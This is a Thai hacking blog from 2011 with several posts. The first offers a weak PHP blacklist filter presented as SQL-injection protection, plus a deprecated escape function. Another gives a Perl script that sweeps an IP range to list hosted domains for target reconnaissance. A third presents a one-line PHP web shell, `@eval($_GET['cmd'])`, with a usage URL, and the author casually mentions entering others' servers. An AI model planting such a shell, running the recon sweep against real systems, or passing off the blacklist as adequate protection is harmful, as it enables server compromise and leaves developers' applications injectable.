หน้าเว็บ

วันพุธที่ 28 ธันวาคม พ.ศ. 2554

How to protect against SQL Injection


          เจออยู่นานแล้วคิดว่าเก็บเอามาแปะบล๊อกไว้ดีกว่า เดี๋ยวจะลืมซะก่อน Function แหล่มๆ ไว้กัน SQL Injection นะครับ


GET Method
function mysqlesc($input){ 
$input = str_ireplace('\'', '', $input);
$input = str_ireplace('"', '', $input);
$input = str_ireplace('UNION', '', $input); 
$input = str_ireplace('--', '', $input); 
$input = str_ireplace('/**/', '', $input); 
$input = str_ireplace('/*', '', $input); 
$input = trim($input); 
return $input; 
}
POST Method
function mysqlesc($input){
$input = mysql_real_escape_string($input);
return $input;
}
Ref : http://santoshdudhade.blogspot.com/2011_11_01_archive.html

บทความเพิ่มเติม

Ref : how to bypass function SQLi check ?

List IP Domain to Text File [ Perl ]

เขียนเก็บไว้ก็ไม่ได้ใช้อะไรเอามาปล่อยแจกดีกว่า อิอิกำ



use LWP::UserAgent;

print "\n\n\t\tList Domain IP to TxT From Stephack.Com... By ICheer_No0M\n\n";
print "\tIP Domain : ";
chomp($ip=<stdin>);
my $folder=$ip;
system("mkdir $folder");
print "\n[!] Starting...\n\n";
if($ip=~m/(.+?)\.(.+?)\.(.+?)\.(.+?)$/ig){$one=$1;$two=$2;$three=$3;$rang=$4;
for($rang=$4;$rang<=255;$rang++){
 $ip=$one.'.'.$two.'.'.$three.'.'.$rang;
 $ua = LWP::UserAgent->new();
 $get=$ua->get('http://stephack.com/re_ip/'.$ip)->content;
 if ($get=~/<\/script><\/head><body>([^~]*)<br \/><br \/><\/body><\/html>/) {
   $content=$1;
   $content=~s/\n//ig;
   if($get!~/0 site/i){if($get=~/: (.+?) site/){$count=$1;}
    @content=split(/<br \/>/,$content);
    foreach (@content) { 
     open (MYFILE, ">> ".$folder.'/'."$ip--$count.txt");
     print MYFILE "\n".$_."\n";
     close (MYFILE); 
    }
    print '[+] '.$ip." => Save Success.\n";
   }else{
    print '[-] '.$ip." => 0 Site.\n";
   }
  }
 }
 print "\n[!] Complete...\n\n";
}

จะเซฟอยู่ใน Folder IP ที่เราใส่ไปนะครับ Folder IP จะอยู่ข้างๆไฟล์ Perl รูปแบบการเซฟจะเป็น

 ip--จำนวนโดเมน นะครับเช่น 122.155.12.238--3.txt IP ที่เจอโดเมนจะเซฟ ที่ไม่เจอจะผ่านไปครับ..

วันอังคารที่ 27 ธันวาคม พ.ศ. 2554

ทำไมผมไม่ใช้ Shell สำเร็จรูป ( C99, R57 )

       

          ทำไมผมไม่ใช้ php shell สำเร็จรูปที่มีแจกใน internet ทั่วไปเช่นพวก c99,r57 ที่โด่งดัง (รึเปล่า) เหตุเพราะว่าในนั้นอาจจะยัดโค้ด backdoor ไว้ก็ได้ อย่างเวลาที่ผมเข้าไปในหอยของหรั่ง mbam ของผมมักจะเตือนบล๊อก ip แปลกๆตลอด
          ผมจึงคิดว่าแม่งไม่ปลอดภัยแล้วล่ะสำหรับตัวผม จึงได้ศึกษาการเขียน php shell จากใน irc ได้โค้ดมาสั้นๆก็สามารถทำอะไรหลากหลายอย่างได้เหมือน c99 ไม่แพ้กัน เพียงเพราะ c99 จะมี user interface ที่งามหน้ากว่าเท่านั้น ส่วนข้างในก็จะเป็นโค้ดยาวๆอย่างที่หลายๆคนเคยแงะนั้นเอง

<?php @eval($_GET['cmd']);die; ?>


          จากโค้ดข้างบนก็สามารถทำได้ทุกอย่างไม่แพ้กับ c99 เลยนะครับรูปแบบการใช้งานก็จะเป็นแบบนี้นะ..

http://localhost/shell.php?cmd=system('ipconfig');

          บทความนี้เป็นพื้นฐานของการใช้ php shell นะครับ ส่วนท่านที่หลงเข้ามาอ่านคงจะรู้เรื่องและคุ้นเคยกันอยู่แล้วคงไม่ต้องพูดอะไรมาก อิอิ ส่วนผมคงไม่ได้นั่งพิมพ์แบบนี้หรอกครับ shell ผมไม่ใช่โค้ดนี้
แน่นอนและการควบคุมผมเขียน IRC Bot ไว้ควบคุม PHP Shell ปลอดภัยกว่าสะดวกกว่า ได้เรียนรู้ภาษาอีกด้วย เป็นประโยชน์ครับ

IRC Bot Control shell.php [ Remote Code Execution ]

วันอาทิตย์ที่ 11 ธันวาคม พ.ศ. 2554

Threads in Perl. แยก Process ทำงานด้วย Threads.

         Threads คืออะไร ตามที่ผมเข้าใจ เจ้าตัว Threads เนี่ย มันคือการแตก process แยกกันทำงานในแต่ละคำสั่ง ที่ได้รับมาครับ ซึ่งจะทำให้โปรแกรมที่เราเขียนเพื่อรันหลายคำสั่งในเวลาเดียวกัน ทำงานได้รวดเร็วยิ่งขึ้นเพราะมีการแยก process กันทำงานตามที่ผมบอกไปด้านบนครับ มาดูตัวอย่างการสร้าง Threads ทำงานกันง่ายๆ ใน Perl ก็มีโมดูลที่เรียกใ้ช้ Threads ได้เช่นกันโดยใช้ use Threads; 


use Threads;

while(1){
 print 'Command : ';
 chomp($command=<stdin>);
 $threads = threads->create(\&cmd,$command); // ใช้ Threads
 #&cmd($command); // ไม่ได้ใช้ Threads
 sub cmd{
  my @value = qx($command);
  foreach(@value){
   print $_;
  }
 } 
}

          จากโค้ดคือส่วนที่สั่ง control cmd.exe เหมือนที่เราพิมพ์ใน cmd บนวินโดวส์นั่นเอง.. แบบแรกที่ไม่ใช่ threads ผมลองเิปิด notepad.exe อันแรก จะเิปิดได้ แต่เปิดอันที่สองจะเปิดไ่ม่ได้ครับ เพราะมันต้องรอ process ที่เปิด notepad.exe อันแรกทำงานเสร็จก่อน (นั้นคือปิดโปรแกรมนั่นเอง)

          คราวนี้ผมลองเขียนแบบใช้ threads ดูสามารถเปิดได้หลายๆอัน คือทำได้หลาย process นั่นเองครับ รูปแบบการสร้าง threads ก็จะเป็นแบบ $ตัวแปร = threads->create(\&sub,$para1); คือส่ง parameter เข้าไปใน sub เพื่อให้ทำงานนั่นเองครับ ลองนำไปประยุกต์ใช้กันดูนะครับ..

ขอจบบทความเพียงเท่านี้ครับ ,, ICheer_No0M